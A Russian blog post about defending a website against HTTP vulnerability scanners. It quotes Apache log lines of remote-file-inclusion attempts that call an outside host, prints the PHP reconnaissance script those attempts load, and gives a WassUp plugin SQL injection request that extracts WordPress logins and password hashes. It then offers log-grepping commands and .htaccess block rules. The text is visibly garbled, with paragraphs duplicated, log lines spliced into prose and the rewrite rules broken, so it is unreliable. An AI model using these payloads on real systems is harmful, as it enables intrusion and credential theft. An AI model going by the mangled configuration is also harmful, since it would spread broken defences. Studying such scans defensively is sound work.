|
|
|
Защищаем сайт от HTTP - сканеров (01.12.2009)
Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта. Если Вы всё еще читаете Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например: 80.93.57.226 - - "GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER16/Nov/2008:20:00:51 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805" 80.93.57.226 - - 16/Nov/2008:20:00:52 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET //?_SERVER16/Nov/2008:20:00:56 +0200] "GET //?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805" 80.93.57.226 - - 16/Nov/2008:20:00:57 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress//?_SERVER16/Nov/2008:20:01:00 +0200] "GET /wordpress//?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805" 80.93.57.226 - - 16/Nov/2008:20:01:00 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER16/Nov/2008:20:28:41 +0200] "GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 71829 "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 71829 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /?_SERVER16/Nov/2008:20:28:45 +0200] "GET /?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90948 "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90948 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress/?_SERVER16/Nov/2008:20:28:48 +0200] "GET /wordpress/?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86232 "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86232 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER16/Nov/2008:20:34:14 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805" 80.93.57.226 - - 16/Nov/2008:20:34:15 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET ////?_SERVER16/Nov/2008:20:34:20 +0200] "GET ////?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805" 80.93.57.226 - - 16/Nov/2008:20:34:21 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress////?_SERVER16/Nov/2008:20:34:25 +0200] "GET /wordpress////?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805" 80.93.57.226 - - 16/Nov/2008:20:34:26 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805" 80.93.57.226 - - "GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER16/Nov/2008:20:51:19 +0200] "GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 76404 "-" "libwww-perl/5.8 05" В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает: <?php
echo "ryey<br>"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVERDOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 76404 "-" "libwww-perl/5.8 05" В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает: <?php
echo "ryey<br>"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER; $alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os<br>"; echo "uname -a: $alb<br>"; echo "uptime: $alb2<br>"; echo "id: $alb3<br>"; echo "pwd: $alb4<br>"; echo "user: $alb9<br>"; echo "phpv: $alb6<br>"; echo "SoftWare: $alb5<br>"; echo "ServerName: $alb7<br>"; echo "ServerAddr: $alb8<br>"; echo "ryey ONLINE<br>"; exit; ?> Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого: ryey
os: Linux uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64 uptime: 04:44:54 up 13:51, 3 users, load average: 0.37, 0.26, 0.20 id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),... pwd: /home/test user: phpv: 5.2.6-2ubuntu4 SoftWare: ServerName: ServerAddr: ryey ONLINE Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу. Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения. Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости: PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) 'SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os<br>"; echo "uname -a: $alb<br>"; echo "uptime: $alb2<br>"; echo "id: $alb3<br>"; echo "pwd: $alb4<br>"; echo "user: $alb9<br>"; echo "phpv: $alb6<br>"; echo "SoftWare: $alb5<br>"; echo "ServerName: $alb7<br>"; echo "ServerAddr: $alb8<br>"; echo "ryey ONLINE<br>"; exit; ?> Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого: ryey
os: Linux uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64 uptime: 04:44:54 up 13:51, 3 users, load average: 0.37, 0.26, 0.20 id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),... pwd: /home/test user: phpv: 5.2.6-2ubuntu4 SoftWare: ServerName: ServerAddr: ryey ONLINE Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу. Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения. Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости: PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) : Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836
Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя). Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета. Сканирование может быть не таким явным: например, "GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"
"GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1" Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:
У каждого свой уровень паранойи ( Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос /wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_usersr
пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей. Частыми гостями в логе nginx являются запросы вида 208.205.78.151 - - function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836
Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя). Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета. Сканирование может быть не таким явным: например, "GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"
"GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1" Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:
У каждого свой уровень паранойи ( Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос /wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_usersr
пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей. Частыми гостями в логе nginx являются запросы вида 208.205.78.151 - - "GET http://www.intel.com/ HTTP/1.1" 403 529 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)"
Запросы рассчитаны на ошибки в реализациях прокси-серверов. Теперь переходим к вопросам анализа и противодействия. Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404: grep -E 'HTTP/1.20/Sep/2008:11:56:51 +0300] "GET http://www.intel.com/ HTTP/1.1" 403 529 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)"
Запросы рассчитаны на ошибки в реализациях прокси-серверов. Теперь переходим к вопросам анализа и противодействия. Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404: grep -E 'HTTP/1." 404 ' apache-log.txt > 404.txt
Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой: cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n
Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно): cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n | awk '{ if ($1 > 100) { system("cat 404.txt | grep " $2 " >> filtered.txt"); } }'
Файл Проанализировав свой файл, я пришел к следующим результатам:
Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой: cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n
Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно): cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n | awk '{ if ($1 > 100) { system("cat 404.txt | grep " $2 " >> filtered.txt"); } }'
Файл Проанализировав свой файл, я пришел к следующим результатам:
Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать. А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало): <IfModule mod_rewrite.c>
RewriteEngine On RewriteCond %{QUERY_STRING} 02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml//wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1" Удвоенный еще куда ни шло, но утроенный — это перебор; ../ (Linux/Windows) и/или .. (Windows). Тоже легко ловится;Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать. А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало): <IfModule mod_rewrite.c>
RewriteEngine On RewriteCond %{QUERY_STRING} *? ^?]*? RewriteCond %{QUERY_STRING} (../|..) OR] RewriteCond %{QUERY_STRING} (../|..) RewriteCond %{QUERY_STRING} (///) OR] RewriteCond %{QUERY_STRING} (///) RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:" RewriteRule (.*) $1 OR] RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:" RewriteRule (.*) $1 </IfModule> Первый Данное решение не является панацеей, но, тем не менее, довольно действенное. Есть одно очень радикальное средство: запретить доступ всем SetEnvIf User-Agent "^libwww-perl" badua
Order Allow,Deny Allow from all Deny from env=badua весьма полезная статья, о том, как блокировать нежелательных посетителей при помощи mod_rewrite. F]</IfModule> Первый Данное решение не является панацеей, но, тем не менее, довольно действенное. Есть одно очень радикальное средство: запретить доступ всем SetEnvIf User-Agent "^libwww-perl" badua
Order Allow,Deny Allow from all Deny from env=badua весьма полезная статья, о том, как блокировать нежелательных посетителей при помощи mod_rewrite. |





